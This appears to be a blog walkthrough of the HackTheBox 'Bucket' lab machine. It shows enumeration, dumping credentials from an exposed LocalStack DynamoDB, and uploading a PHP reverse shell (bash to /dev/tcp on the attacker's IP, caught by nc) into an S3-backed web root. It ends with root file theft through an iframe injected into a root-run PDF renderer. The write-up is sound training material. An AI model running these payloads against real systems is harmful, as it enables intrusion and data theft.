Hello and welcome to another of my HackTheBox walkthroughs! Bucket is an interesting BOX with a difficult discovery of the privileges escalation for the root user.

The nmap scan:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-09 21:54 CEST
Nmap scan report for 10.10.10.212
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.17 seconds

Now it is almost impossible not to start from the portal introduced in the BOX, it seems to be becoming a standard. Before starting, however, let's immediately introduce the bucket.htb domain visible in the nmap scan in the file /etc/host.

The portal is very sparse, with very few links and even wappalyzer does not seem to find anything particularly interesting, on the server and the operating system on which it is running.

However, some images are not reachable and by looking at the source another subdomain emerges.

By inserting the new domain in the /etc/hosts file, the images become visible, despite everything, still nothing particularly interesting.

I then proceed with a dirb session on the main domain, which, however, does not find anything interesting.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.212 - Bucket (lin)]
└─$ dirb http://bucket.htb/                                                                  

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Apr  9 22:07:54 2021
URL_BASE: http://bucket.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://bucket.htb/ ----
+ http://bucket.htb/index.html (CODE:200|SIZE:5344)                                                                                                                                          
+ http://bucket.htb/server-status (CODE:403|SIZE:275)                                                                                                                                        
                                                                                                                                                                                             
-----------------
END_TIME: Fri Apr  9 22:19:20 2021
DOWNLOADED: 4612 - FOUND: 2


I proceed with the dirb also on the second portal and this time something comes out.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.212 - Bucket (lin)]
└─$ dirb http://s3.bucket.htb/                                                                                                                                                          130 ⨯

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Apr  9 22:27:41 2021
URL_BASE: http://s3.bucket.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://s3.bucket.htb/ ----
+ http://s3.bucket.htb/health (CODE:200|SIZE:54)                                                                                                                                             
+ http://s3.bucket.htb/server-status (CODE:403|SIZE:278)                                                                                                                                     
+ http://s3.bucket.htb/shell (CODE:200|SIZE:0)                                                                                                                                               
                                                                                                                                                                                             
-----------------
END_TIME: Fri Apr  9 22:42:14 2021
DOWNLOADED: 4612 - FOUND: 3


The URL "http: //s3.bucket.htb/health" appears to be just a service health endpoint, but it tells me which service; it appears to be an Amazon cloud on-premises service (S3) with a dynamodb database instance.

{"services": {"s3": "running", "dynamodb": "running"}}


Browsing the second URL, however, a redirect is made to an Amazon URL (it would seem), which however is not reachable, probably due to an impossible DNS resolution (http://s3.bucket.htb/shell ==> http://444af250749d:4566/shell/). By making a curl, however, the response turns out to be a "200 OK", where the Amazon URL is returned as a redirect to be made (which the browser performs). I could think of redirecting this URL to the same BOX as well, but it could be a risk, considering that I don't know the Amazon cloud and I don't know exactly how these services should work specifically.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.212 - Bucket (lin)]
└─$ curl http://s3.bucket.htb/shell -v
*   Trying 10.10.10.212:80...
* Connected to s3.bucket.htb (10.10.10.212) port 80 (#0)
> GET /shell HTTP/1.1
> Host: s3.bucket.htb
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Date: Fri, 09 Apr 2021 20:54:19 GMT
< Server: hypercorn-h11
< content-type: text/html; charset=utf-8
< content-length: 0
< refresh: 0; url=http://444af250749d:4566/shell/
< access-control-allow-origin: *
< access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
< access-control-allow-headers: authorization,content-type,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging
< access-control-expose-headers: x-amz-version-id
< 
* Connection #0 to host s3.bucket.htb left intact


In any case, looking up the address on google, I understand it is still an AWS local Cloud stack.

Running AWS locally with LocalStack
More and more companies are switching over to cloud native environments. As a developer this gives me a lot of services to create awesome applications. The challenge that occurred to me right away was
Keep this link in mind, it will be useful later to understand some behaviours of the Amazon Cloud Service.

As in almost all the largest clouds available today, provided by the largest service providers (Amazon, Microsoft, Google, etc ...), most of the activities take place through a CLI, from your machine to the cloud provider chosen.

So, if you don't have it, install the Amazon CLI and move on.

As I mentioned, I'm not very familiar with the Amazon cloud (I know Microsoft better... AZURE, but I think the basics and concepts are more or less the same), let alone the on-premises Amazon cloud; I therefore waste some time figuring out how to execute the commands correctly.

┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://444af250749d:4566 dynamodb list-tables --profile localstack                                                                                                 2 ⨯

The config profile (localstack) could not be found
                                                                                                                                                                                              
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://444af250749d:4566 dynamodb list-tables                                                                                                                    255 ⨯
You must specify a region. You can also configure your region by running "aws configure".


I try to configure everything by default, but it doesn't seem to work anyway!

┌──(in7rud3r㉿Mykali)-[~]
└─$ aws configure                                                                                                                                                                       255 ⨯
AWS Access Key ID [None]: 
AWS Secret Access Key [None]: 
Default region name [None]: 
Default output format [None]:
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://s3.bucket.htb dynamodb list-tables                                                                                                                        255 ⨯
You must specify a region. You can also configure your region by running "aws configure".


I then begin to study the aws configuration command...

configure — AWS CLI 1.19.49 Command Reference

...and I check which regions are available...

Regions, Availability Zones, and Local Zones - Amazon Relational Database Service
Learn how Amazon cloud computing resources are hosted in multiple locations world-wide, including AWS Regions and Availability Zones.

...and even if it is difficult for me to understand the concepts and constraints of the specific scenario (such as for example if I am bound to specify the region set in the local service and other aspects of this type), I begin to configure what is required by the message error of the command executed, with values that I consider adequately correct.

┌──(in7rud3r㉿Mykali)-[~]
└─$ aws configure                                                   
AWS Access Key ID [None]: 
AWS Secret Access Key [None]: 
Default region name [None]: eu-south-1
Default output format [None]: 

┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://444af250749d:4566 dynamodb list-tables
Unable to locate credentials. You can configure credentials by running "aws configure".
                                                                                                                                                                                              
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://s3.bucket.htb dynamodb list-tables                                                                                                                        255 ⨯
Unable to locate credentials. You can configure credentials by running "aws configure".
All the commands are initially executed both on the Amazon address (444af250749d:4566) and on the local URL (s3.bucket.htb), not knowing exactly which will be the one that will answer me correctly.

New hitch, I think I will have to configure all the required parameters, but I am left with many doubts about the correct credentials to use.

Configuration basics - AWS Command Line Interface
Configure the AWS Command Line Interface (AWS CLI) and specify the settings for interacting with AWS.

I then configure the necessary settings with random values...

┌──(in7rud3r㉿Mykali)-[~]
└─$ aws configure                                                   
AWS Access Key ID [None]: in7rud3r
AWS Secret Access Key [None]: in7rud3r
Default region name [eu-south-1]: 
Default output format [None]: 
                                                                                                                                                                                              
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws configure list
      Name                    Value             Type    Location
      ----                    -----             ----    --------
   profile                <not set>             None    None
access_key     ****************ud3r shared-credentials-file    
secret_key     ****************ud3r shared-credentials-file    
    region               eu-south-1      config-file    ~/.aws/config


...and finally something begins to show.

┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://s3.bucket.htb dynamodb list-tables
{
    "TableNames": [
        "users"
    ]
}


Ok, the next step is to understand how to query the tables of a dynamodb from the Amazon CLI.

Using Amazon DynamoDB with the AWS CLI - AWS Command Line Interface
Use AWS Command Line Interface (AWS CLI) commands to access Amazon DynamoDB.
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://s3.bucket.htb dynamodb describe-table --table-name users                                                                                                  255 ⨯
{
    "Table": {
        "AttributeDefinitions": [
            {
                "AttributeName": "username",
                "AttributeType": "S"
            },
            {
                "AttributeName": "password",
                "AttributeType": "S"
            }
        ],
        "TableName": "users",
        "KeySchema": [
            {
                "AttributeName": "username",
                "KeyType": "HASH"
            },
            {
                "AttributeName": "password",
                "KeyType": "RANGE"
            }
        ],
        "TableStatus": "ACTIVE",
        "CreationDateTime": 1618001165.436,
        "ProvisionedThroughput": {
            "LastIncreaseDateTime": 0.0,
            "LastDecreaseDateTime": 0.0,
            "NumberOfDecreasesToday": 0,
            "ReadCapacityUnits": 5,
            "WriteCapacityUnits": 5
        },
        "TableSizeBytes": 107,
        "ItemCount": 3,
        "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/users"
    }
}

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws --endpoint-url=http://s3.bucket.htb dynamodb scan --table-name users                                                                                                            255 ⨯
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}


Fantastic, we are starting to glimpse some credentials, we only hope that they can be useful to penetrate the perimeter of the BOX.

Unfortunately, none of the credentials found work on the available ssh of the BOX, but we do not get discouraged and we study if it is possible to use them for the on-premises Amazon Cloud service that is on this machine.

Utilizzo dei comandi di alto livello (s3) con AWS CLI - AWS Command Line Interface
Utilizza i comandi Amazon S3 di alto livello nello spazio dei nomi aws s3 per gestire bucket e oggetti utilizzando AWS Command Line Interface (AWS CLI).
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 ls --endpoint-url=http://s3.bucket.htb                                                                                                                                       255 ⨯
2021-04-10 11:10:04 adserver

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 ls s3://adserver --endpoint-url=http://s3.bucket.htb
                           PRE images/
2021-04-10 11:12:04       5344 index.html

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 ls s3://adserver/images/ --endpoint-url=http://s3.bucket.htb
2021-04-10 11:14:04      37840 bug.jpg
2021-04-10 11:14:04      51485 cloud.png
2021-04-10 11:14:04      16486 malware.png


I therefore understand that in this instance, a bucket is running that contains the web service of the portal from which we started. Great, let's check if I have the permissions to update this portal.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 cp ./test.txt s3://adserver/ --endpoint-url=http://s3.bucket.htb                                                                                                               1 ⨯
upload: ./test.txt to s3://adserver/test.txt 


It would seem so. It's running an Apache server, I wouldn't be surprised if I could execute a reverse shell through some php code; let's try.

Prepare the reverse shell:

<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.254/4444 0>&1'");
?>


Upload all on the server:

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 cp ./rev-shell.php s3://adserver/ --endpoint-url=http://s3.bucket.htb
upload: ./rev-shell.php to s3://adserver/rev-shell.php            
                                                                                                                                                                                              
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 ls s3://adserver --endpoint-url=http://s3.bucket.htb                 
                           PRE images/
2021-04-10 11:40:04       5344 index.html
2021-04-10 11:40:26         75 rev-shell.php


And activate the trap, after launch your listening on your machine: http://bucket.htb/rev-shell.php.

┌──(in7rud3r㉿Mykali)-[~]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.254] from bucket.htb [10.10.10.212] 35708
whoami
www-data


And I'm in. Start to search.

ls -la /home
total 12
drwxr-xr-x  3 root root 4096 Sep 16  2020 .
drwxr-xr-x 21 root root 4096 Feb 10 12:49 ..
drwxr-xr-x  3 roy  roy  4096 Sep 24  2020 roy
ls -la /home/roy
total 28
drwxr-xr-x 3 roy  roy  4096 Sep 24  2020 .
drwxr-xr-x 3 root root 4096 Sep 16  2020 ..
lrwxrwxrwx 1 roy  roy     9 Sep 16  2020 .bash_history -> /dev/null
-rw-r--r-- 1 roy  roy   220 Sep 16  2020 .bash_logout
-rw-r--r-- 1 roy  roy  3771 Sep 16  2020 .bashrc
-rw-r--r-- 1 roy  roy   807 Sep 16  2020 .profile
drwxr-xr-x 3 roy  roy  4096 Sep 24  2020 project
-r-------- 1 roy  roy    33 Apr  9 20:44 user.txt


Obviously, I have no rights to read these files, but now, I finally have a user with whom to try the passwords found just before.

su roy
Management@#1@#
whoami
www-data
su roy
Welcome123!
whoami
www-data
su roy
n2vM-<_K_Q:.Aa2
whoami
roy


And here the user flag:

cat /home/roy/user.txt
7******************************a


Fortunately, the same credential is usable via ssh, so you won't need to proceed with the exploits used so far again.

Ok, at this point I spent a lot of time finding the next vulnerability that would allow me to elevate my privileges to root. I started from a linpeas(.sh) session; below are the points that I have analyzed and tried to exploit, but which have not given me a positive outcome.

[...]
[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                                                                                                                  
Sudo version 1.8.31                                                                                                                                                                           
[...]
[+] Searching ssl/ssh files
PermitRootLogin yes                                                                                                                                                                           
ChallengeResponseAuthentication no
UsePAM yes
PasswordAuthentication yes
Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml
  --> Some certificates were found (out limited):
/var/lib/fwupd/pki/client.pem
/etc/pki/fwupd/LVFS-CA.pem
/etc/pki/fwupd-metadata/LVFS-CA.pem
/etc/pollinate/entropy.ubuntu.com.pem
[...]
[+] Searching Keyring files
Keyring folder: /usr/share/keyrings                                                                                                                                                           
[...]
[+] Searching uncommon passwd files (splunk)
passwd file: /etc/pam.d/passwd                                                                                                                                                                
passwd file: /usr/share/bash-completion/completions/passwd
passwd file: /usr/share/lintian/overrides/passwd
[...]
[+] Checking if containerd(ctr) is available
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation                                                                                           
ctr was found in /usr/bin/ctr, you may be able to escalate privileges with it                                                                                                                 

[+] Checking if runc is available
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation                                                                                                     
runc was found in /usr/sbin/runc, you may be able to escalate privileges with it                                                                                                              
[...]
════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
[+] SUID - Check easy privesc, exploits and write perms                                                                                                                                       
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid                                                                                                                 
-rwsr-sr-x 1 daemon daemon           55K Nov 12  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)                                                                                      
-rwsr-xr-x 1 root   root            427K Mar  4  2019 /snap/core18/1988/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root            427K Mar  4  2019 /snap/core18/1885/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root             59K Mar 22  2019 /snap/core18/1988/usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root   root             40K Mar 22  2019 /snap/core18/1988/usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/1988/usr/bin/gpasswd
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/1988/usr/bin/chsh
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/1988/usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/1988/bin/su
-rwsr-xr-x 1 root   root             59K Mar 22  2019 /snap/core18/1885/usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root   root             40K Mar 22  2019 /snap/core18/1885/usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/1885/usr/bin/gpasswd
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/1885/usr/bin/chsh
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/1885/usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/1885/bin/su
-rwsr-xr-x 1 root   root             63K Jun 28  2019 /snap/core18/1988/bin/ping
-rwsr-xr-x 1 root   root             63K Jun 28  2019 /snap/core18/1885/bin/ping
-rwsr-xr-x 1 root   root             15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root   root             23K Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root   root             31K Aug 16  2019 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-x 1 root   root            146K Jan 31  2020 /snap/core18/1885/usr/bin/sudo
  --- It looks like /snap/core18/1885/usr/bin/sudo is using /proc/self/stat and you can modify it (strings line: /proc/self/stat) (https://tinyurl.com/suidpath)
[...]
[+] Finding *password* or *credential* files in home (limit 70)
/usr/lib/python3/dist-packages/docker/credentials                                                                                                                                             
/usr/lib/systemd/system/systemd-ask-password-console.service
/usr/lib/systemd/system/systemd-ask-password-plymouth.service
/usr/lib/systemd/system/systemd-ask-password-wall.service
[...]
[+] Finding possible password variables inside key folders (limit 140)
/home/roy/project/vendor/aws/aws-sdk-php/src/AwsClient.php:     *   defaults to 31000; client_id: (string) An identifier for this project                                                     
/home/roy/project/vendor/aws/aws-sdk-php/src/ClientSideMonitoring/Configuration.php:            'client_id' => $this->getClientId(),
/home/roy/project/vendor/aws/aws-sdk-php/src/ClientSideMonitoring/ConfigurationProvider.php:    const DEFAULT_CLIENT_ID = '';
/home/roy/project/vendor/aws/aws-sdk-php/src/ClientSideMonitoring/ConfigurationProvider.php:    const ENV_CLIENT_ID = 'AWS_CSM_CLIENT_ID';
/home/roy/project/vendor/aws/aws-sdk-php/src/Credentials/CredentialProvider.php:    const ENV_KEY = 'AWS_ACCESS_KEY_ID';
/home/roy/project/vendor/aws/aws-sdk-php/src/Credentials/CredentialProvider.php:    const ENV_SECRET = 'AWS_SECRET_ACCESS_KEY';
[...]
/var/www/bucket-app/vendor/aws/aws-sdk-php/src/ClientSideMonitoring/ConfigurationProvider.php:    const DEFAULT_CLIENT_ID = '';
/var/www/bucket-app/vendor/aws/aws-sdk-php/src/ClientSideMonitoring/ConfigurationProvider.php:    const ENV_CLIENT_ID = 'AWS_CSM_CLIENT_ID';
/var/www/bucket-app/vendor/aws/aws-sdk-php/src/Credentials/CredentialProvider.php:    const ENV_KEY = 'AWS_ACCESS_KEY_ID';
/var/www/bucket-app/vendor/aws/aws-sdk-php/src/Credentials/CredentialProvider.php:    const ENV_SECRET = 'AWS_SECRET_ACCESS_KEY';
[...]


The situation was unlocked when, in the forum, I read someone suggesting to focus on the service running on the local port 8000 of the machine. I had already seen that service and query it (there was a simple http portal), but the answer seemed to be something like a site under construction, so I didn't give it importance, but apparently I was wrong. Another thing that I had left out for a later phase, given the huge of files it included, was a sort of web application (including sources) in the folder /var/www/bucket-app/. I hadn't found anything online, it didn't appear to be open-source or a system with known vulnerabilities, so I opted to analyze it later if I couldn't find anything else that would allow me to bypass this point. Putting these two things together, here's what came out.

The list of the open ports from the linpeas session:

[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports                                                                                                                    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                                                                                                             
tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:43909         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   


Querying the service:

roy@bucket:~$ curl http://localhost:8000


<!DOCTYPE html>
<html lang="en" >

<head>
[...]
</main>
    <script src="https://static.codepen.io/assets/common/stopExecutionOnTimeout-157cd5b220a5c80d4ff8e0e70ac069bffd87a61252088146915e8726e5d9f147.js"></script>

  
  
      <script id="rendered-js" >
// ¯\_(ツ)_/¯ I told you that there was no JS
//# sourceURL=pen.js
    </script>

  

</body>

</html>


And looking the source of the index.php on the app folder:

roy@bucket:~$ cat /var/www/bucket-app/index.php 
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
[...]
</main>
    <script src="https://static.codepen.io/assets/common/stopExecutionOnTimeout-157cd5b220a5c80d4ff8e0e70ac069bffd87a61252088146915e8726e5d9f147.js"></script>

  
  
      <script id="rendered-js" >
// ¯\_(ツ)_/¯ I told you that there was no JS
//# sourceURL=pen.js
    </script>

  

</body>

</html>

<?php } ?>


It's clear that we are talking about the same file, so, analyze the code of the index, where I noticed a strange code at the beginning of the file.

<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
        if($_POST["action"]==="get_alerts") {
                date_default_timezone_set('America/New_York');
                $client = new DynamoDbClient([
                        'profile' => 'default',
                        'region'  => 'us-east-1',
                        'version' => 'latest',
                        'endpoint' => 'http://localhost:4566'
                ]);

                $iterator = $client->getIterator('Scan', array(
                        'TableName' => 'alerts',
                        'FilterExpression' => "title = :title",
                        'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
                ));

                foreach ($iterator as $item) {
                        $name=rand(1,10000).'.html';
                        file_put_contents('files/'.$name,$item["data"]);
                }
                passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
        }
}
else
{
?>


Apparently, the "under construction" page is returned if you request the page in GET, but things change if you make a request in POST. By inserting an "action" field with the string "get_alerts" in the request, an alternative php code is executed. This code connects to the dynamodb database already seen above and all the records in the "alerts" table that show the string "Ransomware" in the "title" field, are retrieved. For each of these records, an html file is generated with the payload contained in the "data" field. Subsequently, this URL is processed by a java binary which saves the generated page in pdf format in an app folder of the web portal.

Well, the idea of the final attack is to generate a page that contains the root flag (obviously the service must run as root), retrieve the pdf and read the code. Let's proceed.

If you remember, in the database, the only table available was that of the users, so you will need to create the table first.

Create the alerts table:

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/ft]
└─$ aws dynamodb create-table --endpoint-url http://s3.bucket.htb --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5
{
    "TableDescription": {
        "AttributeDefinitions": [
            {
                "AttributeName": "title",
                "AttributeType": "S"
            },
            {
                "AttributeName": "data",
                "AttributeType": "S"
            }
        ],
        "TableName": "alerts",
        "KeySchema": [
            {
                "AttributeName": "title",
                "KeyType": "HASH"
            },
            {
                "AttributeName": "data",
                "KeyType": "RANGE"
            }
        ],
        "TableStatus": "ACTIVE",
        "CreationDateTime": 1618139659.885,
        "ProvisionedThroughput": {
            "LastIncreaseDateTime": 0.0,
            "LastDecreaseDateTime": 0.0,
            "NumberOfDecreasesToday": 0,
            "ReadCapacityUnits": 10,
            "WriteCapacityUnits": 5
        },
        "TableSizeBytes": 0,
        "ItemCount": 0,
        "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts"
    }
}


Insert the data in the table:

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/ft]
└─$ aws dynamodb --endpoint-url http://s3.bucket.htb put-item --table-name alerts --item '{
        "title": {"S": "Ransomware"},                                                                                                   
        "data": {"S": "<html><head></head><body><iframe src='/root/root.txt'></iframe></body></html>"}
      }' --return-consumed-capacity TOTAL
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}


Activate the exploit:

roy@bucket:~$ curl -X POST --data "action=get_alerts" http://localhost:8000/
roy@bucket:~$ ls -la /var/www/bucket-app/files/
total 12
drwxr-x---+ 2 root root 4096 Apr 11 11:20 .
drwxr-x---+ 4 root root 4096 Feb 10 12:29 ..
-rw-r--r--  1 root root 1398 Apr 11 11:20 result.pdf
roy@bucket:~$ cp /var/www/bucket-app/files/result.pdf ./


Move the file on your machine and read with your preferred reader.

That's all folks, hope you enjoy this writeup, that you understand all my explanation on the various point of the penetration activity and I'm really grateful that you continue to read my articles. Stay tuned guys! See you on the next BOX. Bye!

The awesome image used in this article was created by Yang Lice.